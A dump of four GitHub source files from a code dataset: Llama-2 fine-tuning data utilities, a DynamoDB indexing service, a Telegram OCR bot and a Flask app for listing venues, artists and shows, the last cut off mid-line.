{"seq_id": "12677520131", "text": "import os\nfrom itertools import chain\n\nimport requests\nimport torch\nfrom datasets import Dataset\nfrom peft import PeftModel\nfrom transformers import AutoModelForCausalLM, AutoTokenizer\n\nfrom my_logging import custom_logger as logger\n\n\nIGNORE_INDEX = -100\nDEFAULT_PAD_TOKEN = \"[PAD]\"\nDEFAULT_EOS_TOKEN = \"</s>\"\nDEFAULT_BOS_TOKEN = \"</s>\"\nDEFAULT_UNK_TOKEN = \"</s>\"\nTARGET_MODULES = {\n    \"meta/Llama-2-7b-chat-hf\": \"q_proj,k_proj,v_proj,o_proj,down_proj,up_proj,gate_proj\",\n}\n\n\ndef get_target_modules(config):\n    if config.target_modules is None:\n        return TARGET_MODULES.get(config.model)\n    return config.target_modules.split(\",\")\n\n\ndef process_data1(data, tokenizer, config):\n    data = data.to_pandas()\n    data = data.fillna(\"\")\n\n    data = data[[config.text_column]]\n    if config.add_eos_token:\n        data[config.text_column] = data[config.text_column] + tokenizer.eos_token\n    data = Dataset.from_pandas(data)\n    return data\n\n\nllama2_prompt ={ \"prompt_no_input\":\"\"\"[INST] <<SYS>>\nYou are a helpful, respectful and honest assistant.Help as much as you can.\n<</SYS>>\n\n{instruction} [/INST]\"\"\"}\n\n\nTEXT_COLUMN = \"text\"\n\ndef _pro_data(item:dict):\n    instruction = item['instruction']\n    input = item['input']\n    output = item['output']\n    if input:\n        instruction = instruction + \"\\n\" + input\n    \n    if output:\n        res = llama2_prompt['prompt_no_input'].format_map({\"instruction\": instruction}) + \" \" + output\n    else:\n        res = instruction\n        \n    if res.startswith(\"<s>\"):\n        res = res.lstrip(\"<s>\")\n        \n    if res.endswith(\"</s>\"):\n        res = res.rstrip(\"</s>\")\n        \n    return res\n    \n\ndef process_data(data, tokenizer,config):\n    data = data.to_pandas()\n    data[config.text_column] = data.apply(lambda x:_pro_data(dict(x)),axis=1)\n    data = data.fillna(\"\")\n\n    data = data[[config.text_column]]\n    if config.add_eos_token:\n        data[config.text_column] = data[config.text_column] + tokenizer.eos_token\n    logger.info(data.head(3))\n    data = Dataset.from_pandas(data)\n    return data\n\ndef group_texts(examples, config):\n    # Concatenate all texts.\n    concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()}\n    total_length = len(concatenated_examples[list(examples.keys())[0]])\n    # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can\n    # customize this part to your needs.\n    if total_length >= config.block_size:\n        total_length = (total_length // config.block_size) * config.block_size\n    else:\n        total_length = 0\n    # Split by chunks of max_len.\n    result = {\n        k: [t[i : i + config.block_size] for i in range(0, total_length, config.block_size)]\n        for k, t in concatenated_examples.items()\n    }\n    result[\"labels\"] = result[\"input_ids\"].copy()\n    return result\n\n\ndef tokenize(examples, tokenizer, config):\n    \n    output = tokenizer(examples[config.text_column])\n    return output\n\n\ndef _tokenize(prompt, tokenizer, config):\n    result = tokenizer(\n        prompt,\n        truncation=True,\n        max_length=tokenizer.model_max_length,\n        padding=False,\n        return_tensors=None,\n    )\n    if result[\"input_ids\"][-1] != tokenizer.eos_token_id and config.add_eos_token:\n        if len(result[\"input_ids\"]) >= tokenizer.model_max_length:\n            result[\"input_ids\"] = result[\"input_ids\"][:-1]\n            result[\"attention_mask\"] = result[\"attention_mask\"][:-1]\n        result[\"input_ids\"].append(tokenizer.eos_token_id)\n        result[\"attention_mask\"].append(1)\n\n    result[\"labels\"] = result[\"input_ids\"].copy()\n\n    return result\n\n\ndef merge_adapter(base_model_path, target_model_path, adapter_path):\n    logger.info(\"Loading adapter...\")\n    model = AutoModelForCausalLM.from_pretrained(\n        base_model_path,\n        torch_dtype=torch.float16,\n        low_cpu_mem_usage=True,\n        trust_remote_code=True,\n    )\n\n    model = PeftModel.from_pretrained(model, adapter_path)\n\n    tokenizer = AutoTokenizer.from_pretrained(\n        base_model_path,\n        trust_remote_code=True,\n    )\n    model = model.merge_and_unload()\n\n    logger.info(\"Saving target model...\")\n    model.save_pretrained(target_model_path)\n    tokenizer.save_pretrained(target_model_path)\n\n", "repo_name": "moseshu/llama2-chat", "sub_path": "autotrain/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4270, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datasets.Dataset.from_pandas", "line_number": 36, "usage_type": "call"}, {"api_name": "datasets.Dataset", "line_number": 36, "usage_type": "name"}, {"api_name": "my_logging.custom_logger.info", "line_number": 78, "usage_type": "call"}, {"api_name": "my_logging.custom_logger", "line_number": 78, "usage_type": "name"}, {"api_name": "datasets.Dataset.from_pandas", "line_number": 79, "usage_type": "call"}, {"api_name": "datasets.Dataset", "line_number": 79, "usage_type": "name"}, {"api_name": "itertools.chain", "line_number": 84, "usage_type": "call"}, {"api_name": "my_logging.custom_logger.info", "line_number": 128, "usage_type": "call"}, {"api_name": "my_logging.custom_logger", "line_number": 128, "usage_type": "name"}, {"api_name": "transformers.AutoModelForCausalLM.from_pretrained", "line_number": 129, "usage_type": "call"}, {"api_name": "transformers.AutoModelForCausalLM", "line_number": 129, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 131, "usage_type": "attribute"}, {"api_name": "peft.PeftModel.from_pretrained", "line_number": 136, "usage_type": "call"}, {"api_name": "peft.PeftModel", "line_number": 136, "usage_type": "name"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 138, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 138, "usage_type": "name"}, {"api_name": "my_logging.custom_logger.info", "line_number": 144, "usage_type": "call"}, {"api_name": "my_logging.custom_logger", "line_number": 144, "usage_type": "name"}]}
{"seq_id": "208490496", "text": "import logging\n\n# from dynamoplus.models.system.aggregation.aggregation import AggregationTrigger\nfrom dynamoplus.models.system.aggregation.aggregation import AggregationTrigger\nfrom dynamoplus.models.system.index.index import IndexConfiguration\nfrom dynamoplus.models.system.collection.collection import Collection\nfrom dynamoplus.v2.service.system.system_service import IndexService, CollectionService, AggregationConfigurationService\nfrom dynamoplus.v2.service.model_service import get_index_model\nfrom dynamoplus.v2.service.common import is_system, get_repository_factory\nfrom dynamoplus.utils.utils import find_added_values, find_removed_values, find_updated_values, \\\n    filter_out_not_included_fields\n\nfrom dynamoplus.v2.service.system.aggregation_service import AggregationProcessingService\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef __indexing(collection_metadata: Collection,\n               new_record: dict,\n               old_record: dict):\n    is_system_collection = is_system(collection_metadata)\n    if not is_system_collection:\n        ## This doesn't work, if an attribute not indexed it's updated then it doesn't update it\n        to_remove_index_models = get_index_models_to_remove(collection_metadata, new_record, old_record)\n        to_add_index_models = get_index_models_to_add(collection_metadata, new_record, old_record)\n        to_update_index_models = get_index_models_to_update(collection_metadata, new_record, old_record)\n\n        repository = get_repository_factory(collection_metadata)\n        for remove in to_remove_index_models:\n            repository.delete(remove.pk, remove.sk)\n\n        for add in to_add_index_models:\n            repository.create(add)\n\n        for update in to_update_index_models:\n            repository.update(update)\n\n        aggregations = AggregationConfigurationService.get_aggregation_configurations_by_collection_name_generator(\n            collection_metadata.name)\n        trigger = AggregationTrigger.UPDATE\n        if old_record is None:\n            trigger = AggregationTrigger.INSERT\n        elif new_record is None:\n            trigger = AggregationTrigger.DELETE\n        for a in aggregations:\n            if trigger in a.on:\n                AggregationProcessingService.execute_aggregation(a, collection_metadata, new_record, old_record)\n\n\ndef get_index_models_to_remove(collection_metadata, new_record: dict, old_record: dict):\n    to_remove = []\n    if old_record is not None and len(old_record.keys()) > 0:\n        removed = find_removed_values(old_record, new_record)\n        # changed_fields = get_all_keys(removed)\n        to_remove = find_matching_indexes(removed, collection_metadata, old_record) if removed else []\n    return to_remove\n\n\ndef get_index_models_to_add(collection_metadata, new_record, old_record):\n    to_add = []\n    if new_record is not None:\n        added = find_added_values(old_record, new_record)\n        to_add = find_matching_indexes(added, collection_metadata, new_record) if added else []\n    return to_add\n\n\ndef get_index_models_to_update(collection_metadata, new_record, old_record):\n    to_update = []\n    if old_record is not None and new_record is not None:\n        logger.debug(\"updated index new record = {} and old record = {}\".format(new_record,old_record))\n        updated = find_updated_values(old_record, new_record)\n        to_update = find_matching_indexes(updated, collection_metadata, new_record) if updated else []\n    return to_update\n\n\ndef find_matching_indexes(values: dict,\n                          collection_metadata: Collection,\n                          record: dict):\n    result = []\n    if values:\n        logger.debug(\"changed dict = {} while new record is {} \".format(values,record))\n        changed_fields = get_all_keys(values)\n        logger.debug(\"changed fields = {}\".format(changed_fields))\n        for index in IndexService.get_indexes_from_collection_name_generator(collection_metadata.name):\n            for field in changed_fields:\n                if field in index.conditions or index.index_configuration == IndexConfiguration.OPTIMIZE_READ or field == index.ordering_key:\n                    document = record if index and (\n                            index.index_configuration is None or index.index_configuration == IndexConfiguration.OPTIMIZE_READ) \\\n                        else filter_out_not_included_fields(record, index.conditions + [collection_metadata.id_key])\n                    index_model = get_index_model(collection_metadata, index, document)\n                    if index_model not in result:\n                        result.append(index_model)\n    return result\n\n\n## TODO: add test and move to utils\ndef get_all_keys(d):\n    keys = []\n    for key, value in d.items():\n        if type(value) is dict:\n            for nested_key in get_all_keys(value):\n                keys.append(key + \".\" + nested_key)\n        else:\n            keys.append(key)\n    return keys\n\n\ndef create_indexes(collection_name: str, new_record: dict):\n    collection_metadata = CollectionService.get_collection(collection_name)\n\n    if collection_metadata:\n        __indexing(collection_metadata, new_record, None)\n    else:\n        logger.debug('Skipping creating indexes on record of type {}:  collection not found'.format(collection_name))\n\n\ndef update_indexes(collection_name: str, old_record: dict, new_record: dict):\n    collection_metadata = CollectionService.get_collection(collection_name)\n    if collection_metadata:\n        __indexing(collection_metadata, new_record, old_record)\n    else:\n        logger.debug('Skipping creating indexes on record of type {}:  collection not found'.format(collection_name))\n\n\ndef delete_indexes(collection_name: str, new_record: dict):\n    collection_metadata = CollectionService.get_collection(collection_name)\n\n    if collection_metadata:\n        __indexing(collection_metadata, None, new_record)\n    else:\n        logger.debug('Skipping deleting indexes on record of type {}:  collection not found'.format(collection_name))\n", "repo_name": "antessio/dynamoplus", "sub_path": "serverless/dynamoplus/v2/indexing_service_v2.py", "file_name": "indexing_service_v2.py", "file_ext": "py", "file_size_in_byte": 6032, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 16, "usage_type": "attribute"}, {"api_name": "dynamoplus.models.system.collection.collection.Collection", "line_number": 19, "usage_type": "name"}, {"api_name": "dynamoplus.v2.service.common.is_system", "line_number": 22, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.common.get_repository_factory", "line_number": 29, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.AggregationConfigurationService.get_aggregation_configurations_by_collection_name_generator", "line_number": 39, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.AggregationConfigurationService", "line_number": 39, "usage_type": "name"}, {"api_name": "dynamoplus.models.system.aggregation.aggregation.AggregationTrigger.UPDATE", "line_number": 41, "usage_type": "attribute"}, {"api_name": "dynamoplus.models.system.aggregation.aggregation.AggregationTrigger", "line_number": 41, "usage_type": "name"}, {"api_name": "dynamoplus.models.system.aggregation.aggregation.AggregationTrigger.INSERT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "dynamoplus.models.system.aggregation.aggregation.AggregationTrigger", "line_number": 43, "usage_type": "name"}, {"api_name": "dynamoplus.models.system.aggregation.aggregation.AggregationTrigger.DELETE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "dynamoplus.models.system.aggregation.aggregation.AggregationTrigger", "line_number": 45, "usage_type": "name"}, {"api_name": "dynamoplus.v2.service.system.aggregation_service.AggregationProcessingService.execute_aggregation", "line_number": 48, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.aggregation_service.AggregationProcessingService", "line_number": 48, "usage_type": "name"}, {"api_name": "dynamoplus.utils.utils.find_removed_values", "line_number": 54, "usage_type": "call"}, {"api_name": "dynamoplus.utils.utils.find_added_values", "line_number": 63, "usage_type": "call"}, {"api_name": "dynamoplus.utils.utils.find_updated_values", "line_number": 72, "usage_type": "call"}, {"api_name": "dynamoplus.models.system.collection.collection.Collection", "line_number": 78, "usage_type": "name"}, {"api_name": "dynamoplus.v2.service.system.system_service.IndexService.get_indexes_from_collection_name_generator", "line_number": 85, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.IndexService", "line_number": 85, "usage_type": "name"}, {"api_name": "dynamoplus.models.system.index.index.IndexConfiguration.OPTIMIZE_READ", "line_number": 87, "usage_type": "attribute"}, {"api_name": "dynamoplus.models.system.index.index.IndexConfiguration", "line_number": 87, "usage_type": "name"}, {"api_name": "dynamoplus.models.system.index.index.IndexConfiguration.OPTIMIZE_READ", "line_number": 89, "usage_type": "attribute"}, {"api_name": "dynamoplus.models.system.index.index.IndexConfiguration", "line_number": 89, "usage_type": "name"}, {"api_name": "dynamoplus.utils.utils.filter_out_not_included_fields", "line_number": 90, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.model_service.get_index_model", "line_number": 91, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.CollectionService.get_collection", "line_number": 110, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.CollectionService", "line_number": 110, "usage_type": "name"}, {"api_name": "dynamoplus.v2.service.system.system_service.CollectionService.get_collection", "line_number": 119, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.CollectionService", "line_number": 119, "usage_type": "name"}, {"api_name": "dynamoplus.v2.service.system.system_service.CollectionService.get_collection", "line_number": 127, "usage_type": "call"}, {"api_name": "dynamoplus.v2.service.system.system_service.CollectionService", "line_number": 127, "usage_type": "name"}]}
{"seq_id": "18010490900", "text": "import telebot\nimport urllib.request\nimport os\nfrom os import environ\n\nfrom vision import text_recognition\n\nglobal bot\nglobal result_storage_path\n\n# setup bot with Telegram token from .env\nbot = telebot.TeleBot(environ['TELEGRAM_TOKEN'])\n\n# store files in /tmp so storage does not get complete\nresult_storage_path = 'tmp'\n\n# welcome message\nbot_text = \"\"\"\n       Welcome to the TextRecognition bot! It uses the VisionAPI service to recognize text based on the image you send.\n       \"\"\"\n\n\ndef get_image_id_from_message(message):\n    # there are multiple array of images, check the biggest\n    return message.photo[len(message.photo) - 1].file_id\n\n\ndef save_image_from_message(message):\n    cid = message.chat.id\n\n    image_id = get_image_id_from_message(message)\n\n    bot.send_message(cid, 'ðŸ”¥ Analyzing image, be patient ! ðŸ”¥')\n\n    # prepare image for downlading\n    file_path = bot.get_file(image_id).file_path\n\n    # generate image download url\n    image_url = \"https://api.telegram.org/file/bot{0}/{1}\".format(environ['TELEGRAM_TOKEN'], file_path)\n    print(image_url)\n\n    # create folder to store pic temporary, if it doesnt exist\n    if not os.path.exists(result_storage_path):\n        os.makedirs(result_storage_path)\n\n    # retrieve and save image\n    image_name = \"{0}.jpg\".format(image_id)\n    urllib.request.urlretrieve(image_url, \"{0}/{1}\".format(result_storage_path, image_name))\n\n    return image_name;\n\n\ndef cleanup_remove_image(image_name):\n  os.remove('{0}/{1}'.format(result_storage_path, image_name))\n\n\n@bot.message_handler(commands=['start'])\ndef send_welcome(message):\n    bot.send_message(message.chat.id, bot_text)\n\n\n@bot.message_handler(content_types=['photo'])\ndef handle(message):\n        try:\n            # extract the image name for further operations\n            image_name = save_image_from_message(message)\n\n            # use VisionAPI to execute image classification\n            output = text_recognition(result_storage_path, image_name)\n\n            # reply with a text to the photo the user sent\n            bot.reply_to(message, output)\n\n            cleanup_remove_image(image_name);\n\n        except Exception:\n            # if things went wrong\n            bot.reply_to(message, \"There was a problem, please try again\")\n\n\n# configure the webhook for the bot, with the url of the Glitch project\nbot.set_webhook(\"https://{}.glitch.me/{}\".format(environ['PROJECT_NAME'], environ['TELEGRAM_TOKEN']))\n\n\nif __name__ == '__main__':\n    bot.run(threaded=True)\n", "repo_name": "KovarnaKocici/TextRecognitionBot", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 2494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "telebot.TeleBot", "line_number": 12, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 44, "usage_type": "call"}, {"api_name": "urllib.request.request.urlretrieve", "line_number": 48, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 48, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 48, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 54, "usage_type": "call"}, {"api_name": "vision.text_recognition", "line_number": 69, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 82, "usage_type": "name"}]}
{"seq_id": "23550586139", "text": "import logging\nfrom logging import Formatter, FileHandler\nfrom typing import List\n\nimport babel\nimport dateutil.parser\nfrom flask import Flask, render_template, request, flash, redirect, url_for, jsonify\nfrom flask_migrate import Migrate\nfrom flask_moment import Moment\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom forms import *\n\napp = Flask(__name__)\napp.config.from_object('config')\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\nmoment = Moment(app)\n\n\n# ----------------------------------------------------------------------------#\n# Models.\n# ----------------------------------------------------------------------------#\n\nclass Venue(db.Model):\n    __tablename__ = 'Venue'\n\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String)\n    city = db.Column(db.String(120))\n    state = db.Column(db.String(120))\n    address = db.Column(db.String(120))\n    phone = db.Column(db.String(120))\n    image_link = db.Column(db.String(500))\n    facebook_link = db.Column(db.String(120))\n    website = db.Column(db.String(120))\n    seeking_talent = db.Column(db.Boolean, default=False)\n    seeking_description = db.Column(db.String(120))\n    genres = db.Column(db.String(120))\n    shows = db.relationship('Show', backref='venue', lazy=True)\n\n    def __repr__(self):\n        return f'<Venue {self.id} {self.name} {self.state} {self.address} {self.phone} {self.genres} {self.image_link}>'\n\n\nclass Artist(db.Model):\n    __tablename__ = 'Artist'\n\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String)\n    city = db.Column(db.String(120))\n    state = db.Column(db.String(120))\n    phone = db.Column(db.String(120))\n    genres = db.Column(db.String(120))\n    image_link = db.Column(db.String(500))\n    facebook_link = db.Column(db.String(120))\n    seeking_venue = db.Column(db.Boolean, default=False)\n    website = db.Column(db.String(120))\n    seeking_description = db.Column(db.String(120))\n    shows = db.relationship('Show', backref='artist', lazy=True)\n\n    def __repr__(self):\n        return f'<Artist {self.id} {self.name} {self.city} {self.state} {self.phone} {self.genres} {self.image_link}>'\n\n\nclass Show(db.Model):\n    __tablename__ = 'shows'\n\n    id = db.Column(db.Integer, primary_key=True)\n    artist_id = db.Column(db.Integer, db.ForeignKey('Artist.id'), nullable=False)\n    venue_id = db.Column(db.Integer, db.ForeignKey('Venue.id'), nullable=False)\n    start_time = db.Column(db.DateTime, default=datetime.now(), nullable=False)\n\n    def __repr__(self):\n        return f'<Show {self.id} {self.artist_id} {self.venue_id} {self.start_time}>'\n\n\n# ----------------------------------------------------------------------------#\n# Filters.\n# ----------------------------------------------------------------------------#\n\ndef format_datetime(value, format='medium'):\n    date = dateutil.parser.parse(value)\n    if format == 'full':\n        format = \"EEEE MMMM, d, y 'at' h:mma\"\n    elif format == 'medium':\n        format = \"EE MM, dd, y h:mma\"\n    return babel.dates.format_datetime(date, format, locale='en')\n\n\napp.jinja_env.filters['datetime'] = format_datetime\n\n\n# ----------------------------------------------------------------------------#\n# Controllers.\n# ----------------------------------------------------------------------------#\n\n@app.route('/')\ndef index():\n    return render_template('pages/home.html')\n\n\n#  Venues\n#  ----------------------------------------------------------------\n\n@app.route('/venues')\ndef venues():\n    #       num_upcoming_shows should be aggregated based on number of upcoming shows per venue.\n    location_data = db.session.query(Venue.city, Venue.state).distinct(Venue.state)\n    data = []\n    for location in location_data:\n        venue_data = []\n        venue_data.extend(Venue.query.filter(Venue.state == location.state).all())\n        data.append(\n            {\n                'city': location.city,\n                'state': location.state,\n                'venues': venue_data\n            }\n        )\n    return render_template('pages/venues.html', areas=data)\n\n\n@app.route('/venues/search', methods=['POST'])\ndef search_venues():\n    search_term = get_search_term(request.form)\n    venue_list = db.session.query(Venue).filter(Venue.name.ilike(f'%{search_term}%')).all()\n    count = len(venue_list)\n    response = {\n        \"count\": count,\n        \"data\": venue_list\n    }\n    return render_template('pages/search_venues.html', results=response,\n                           search_term=request.form.get('search_term', ''))\n\n\ndef get_search_term(form):\n    return form.get('search_term', '').lower()\n\n\n@app.route('/venues/<int:venue_id>')\ndef show_venue(venue_id):\n    # shows the venue page with the given venue_id\n    data = find_venue_by_id(venue_id)\n    set_venue_genres_as_list(data)\n    show_list = data.shows\n    past_shows = list(filter(lambda show: show.start_time < datetime.now(), show_list))\n    upcoming_shows = list(filter(lambda show: show.start_time > datetime.now(), show_list))\n    data.past_shows = past_shows\n    data.upcoming_shows = upcoming_shows\n    data.past_shows_count = len(past_shows)\n    data.upcoming_shows_count = len(upcoming_shows)\n\n    set_show_artist(past_shows)\n    set_show_artist(upcoming_shows)\n    return render_template('pages/show_venue.html', venue=data)\n\n\n#  Create Venue\n#  ----------------------------------------------------------------\n\n@app.route('/venues/create', methods=['GET'])\ndef create_venue_form():\n    form = VenueForm()\n    return render_template('forms/new_venue.html', form=form)\n\n\n@app.route('/venues/create', methods=['POST'])\ndef create_venue_submission():\n    data = request.form\n    try:\n        venue = get_form_venue(data)\n        db.session.add(venue)\n        db.session.commit()\n        # on successful db insert, flash success\n        flash(f\"Venue {data['name']} was successfully listed!\")\n        return render_template('pages/home.html')\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n        flash(f\"An error occurred. Venue {data['name']} could not be listed.\")\n    finally:\n        db.session.close()\n\n\n@app.route('/venues/<venue_id>', methods=['DELETE'])\ndef delete_venue(venue_id):\n    try:\n        Venue.query.filter(Venue.id == venue_id).delete()\n        db.session.commit()\n        return jsonify({'success': True})\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n    finally:\n        db.session.close()\n        return jsonify({'success': False})\n\n\n#  Artists\n#  ----------------------------------------------------------------\n@app.route('/artists')\ndef artists():\n    data = Artist.query.all()\n    for artist in data:\n        set_artist_genres_as_list(artist)\n    return render_template('pages/artists.html', artists=data)\n\n\n@app.route('/artists/search', methods=['POST'])\ndef search_artists():\n    search_term = get_search_term(request.form)\n    artist_list = db.session.query(Artist).filter(Artist.name.ilike(f'%{search_term}%')).all()\n    count = len(artist_list)\n    response = {\n        \"count\": count,\n        \"data\": artist_list\n    }\n    return render_template('pages/search_artists.html', results=response,\n                           search_term=request.form.get('search_term', ''))\n\n\n@app.route('/artists/<int:artist_id>')\ndef show_artist(artist_id):\n    # shows the artist page with the given artist_id\n    data = find_artist_by_id(artist_id)\n    set_artist_genres_as_list(data)\n    show_list = data.shows\n    past_shows = list(filter(lambda show: show.start_time < datetime.now(), show_list))\n    upcoming_shows = list(filter(lambda show: show.start_time > datetime.now(), show_list))\n    data.past_shows = past_shows\n    data.upcoming_shows = upcoming_shows\n    data.past_shows_count = len(past_shows)\n    data.upcoming_shows_count = len(upcoming_shows)\n\n    set_show_venue(past_shows)\n    set_show_venue(upcoming_shows)\n    return render_template('pages/show_artist.html', artist=data)\n\n\n#  Update\n#  ----------------------------------------------------------------\n@app.route('/artists/<int:artist_id>/edit', methods=['GET'])\ndef edit_artist(artist_id):\n    form = ArtistForm(request.form)\n    artist = find_artist_by_id(artist_id)\n    set_artist_genres_as_list(artist)\n    form.name.data = artist.name\n    form.city.data = artist.city\n    form.state.data = artist.state\n    form.phone.data = artist.phone\n    form.genres.data = artist.genres\n    form.image_link.data = artist.image_link\n    form.facebook_link.data = artist.facebook_link\n    form.seeking_venue.data = artist.seeking_venue\n    form.website_link.data = artist.website\n    form.seeking_description.data = artist.seeking_description\n    return render_template('forms/edit_artist.html', form=form, artist=artist)\n\n\n@app.route('/artists/<int:artist_id>/edit', methods=['POST'])\ndef edit_artist_submission(artist_id):\n    data = request.form\n    try:\n        artist = get_form_artist(data)\n        artist.id = artist_id\n        db.session.query(Artist) \\\n            .filter_by(id=artist_id) \\\n            .update({column: getattr(artist, column) for column in Artist.__table__.columns.keys()})\n        db.session.commit()\n        # on successful db update, flash success\n        flash(f\"Artist {request.form['name']} was successfully Updated!\")\n        return redirect(url_for('show_artist', artist_id=artist_id))\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n        flash(f\"An error occurred. Artist {request.form['name']} could not be listed.\")\n    finally:\n        db.session.close()\n\n\n@app.route('/venues/<int:venue_id>/edit', methods=['GET'])\ndef edit_venue(venue_id):\n    form = VenueForm(request.form)\n    venue = find_venue_by_id(venue_id)\n    set_artist_genres_as_list(venue)\n    form.name.data = venue.name\n    form.city.data = venue.city\n    form.state.data = venue.state\n    form.address.data = venue.address\n    form.phone.data = venue.phone\n    form.genres.data = venue.genres\n    form.image_link.data = venue.image_link\n    form.facebook_link.data = venue.facebook_link\n    form.seeking_talent.data = venue.seeking_talent\n    form.website_link.data = venue.website\n    form.seeking_description.data = venue.seeking_description\n    return render_template('forms/edit_venue.html', form=form, venue=venue)\n\n\n@app.route('/venues/<int:venue_id>/edit', methods=['POST'])\ndef edit_venue_submission(venue_id):\n    data = request.form\n    try:\n        venue = get_form_venue(data)\n        venue.id = venue_id\n        db.session.query(Venue) \\\n            .filter_by(id=venue_id) \\\n            .update({column: getattr(venue, column) for column in Venue.__table__.columns.keys()})\n        db.session.commit()\n        # on successful db update, flash success\n        flash(f\"Venue {request.form['name']} was successfully Updated!\")\n        return redirect(url_for('show_artist', artist_id=venue_id))\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n        flash(f\"An error occurred. Venue {data['name']} could not be listed.\")\n    finally:\n        db.session.close()\n\n    return redirect(url_for('show_venue', venue_id=venue_id))\n\n\n#  Create Artist\n#  ----------------------------------------------------------------\n\n@app.route('/artists/create', methods=['GET'])\ndef create_artist_form():\n    form = ArtistForm()\n    return render_template('forms/new_artist.html', form=form)\n\n\n@app.route('/artists/create', methods=['POST'])\ndef create_artist_submission():\n    # called upon submitting the new artist listing form\n    data = request.form\n    try:\n        artist = get_form_artist(data)\n        db.session.add(artist)\n        db.session.commit()\n        # on successful db insert, flash success\n        flash(f\"Artist {request.form['name']} was successfully listed!\")\n        return render_template('pages/home.html')\n    except Exception as e:\n        print(e)\n        db.session.rollback()\n        flash(f\"An error occurred. Artist {request.form['name']} could not be listed.\")\n    finally:\n        db.session.close()\n\n\n#  Shows\n#  ----------------------------------------------------------------\n\n@app.route('/shows')\ndef shows():\n    # displays list of shows at /shows\n    show_list = Show.query.join(Artist, Artist.id == Show.artist_id).join(Venue, Venue.id == Show.venue_id).all()\n    data = []\n    for show in show_list:\n        data.append({\n            \"venue_id\": show.venue_id,\n            \"venue_name\": show.venue.name,\n            \"artist_id\": show.artist_id,\n            \"artist_name\": show.artist.name,\n            \"artist_image_link\": show.artist.image_link,\n            \"start_time\": str(show.start_time)\n        })\n    return render_template('pages/shows.html', shows=data)\n\n\n@app.route('/shows/create')\ndef create_shows():\n    # renders form. do not touch.\n    form = ShowForm()\n    return render_template('forms/new_show.html', form=form)\n\n\n@app.route('/shows/create', methods=['POST'])\ndef create_show_submission():\n    # called to create new shows in the db, upon submitting new show listing form\n    try:\n        show = get_form_show(request.form)\n        db.session.add(show)\n        db.session.commit()\n        # on successful db insert, flash success\n        flash('Show was successfully listed!')\n        return render_template('pages/home.html')\n    except Exception as e:\n        print(e)\n        flash('An error occurred. Show could not be added')\n        db.session.rollback()\n    finally:\n        db.session.close()\n\n\n#  Common functions\n#  ----------------------------------------------------------------\ndef get_form_artist(data) -> Artist:\n    return Artist(\n        name=data['name'],\n        city=data['city'],\n        state=data['state'],\n        phone=data['phone'],\n        genres=','.join(data.getlist('genres')),\n        image_link=data['image_link'],\n        facebook_link=data['facebook_link'],\n        seeking_venue=True if 'seeking_venue' in data else False,\n        website=data['website'] if 'website' in data else None,\n        seeking_description=data['seeking_description'] if 'seeking_description' in data else None,\n    )\n\n\ndef get_form_venue(form) -> Venue:\n    return Venue(\n        name=form['name'],\n        city=form['city'],\n        state=form['state'],\n        address=form['address'],\n        phone=form['phone'],\n        genres=','.join(form.getlist('genres')),\n        image_link=form['image_link'],\n        facebook_link=form['facebook_link'],\n        seeking_talent=True if 'seeking_talent' in form else False,\n        website=form['website'] if 'website' in form else None,\n        seeking_description=form['seeking_description'] if 'seeking_description' in form else None,\n    )\n\n\ndef get_form_show(form) -> Show:\n    return Show(\n        artist_id=form['artist_id'],\n        venue_id=form['venue_id'],\n        start_time=form['start_time']\n    )\n\n\ndef set_artist_genres_as_list(artist: Artist):\n    artist.genres = artist.genres.split(',')\n\n\ndef set_venue_genres_as_list(venue: Venue):\n    if venue is None:\n        return\n    venue.genres = venue.genres.split(',')\n\n\ndef set_show_venue(show_list: List[Show]):\n    for show in show_list:\n        show.venue_image_link = show.venue.image_link\n        show.venue_name = show.venue.name\n        show.start_time = str(show.start_time)\n\n\ndef set_show_artist(show_list: List[Show]):\n    if show_list is None:\n        return\n    for show in show_list:\n        show.artist_id = show.artist.id\n        show.artist_name = show.artist.name\n        show.artist_image_link = show.artist.image_link\n        show.start_time = str(show.start_time)\n\n\ndef find_artist_by_id(artist_id):\n    return Artist.query.filter(Artist.id == 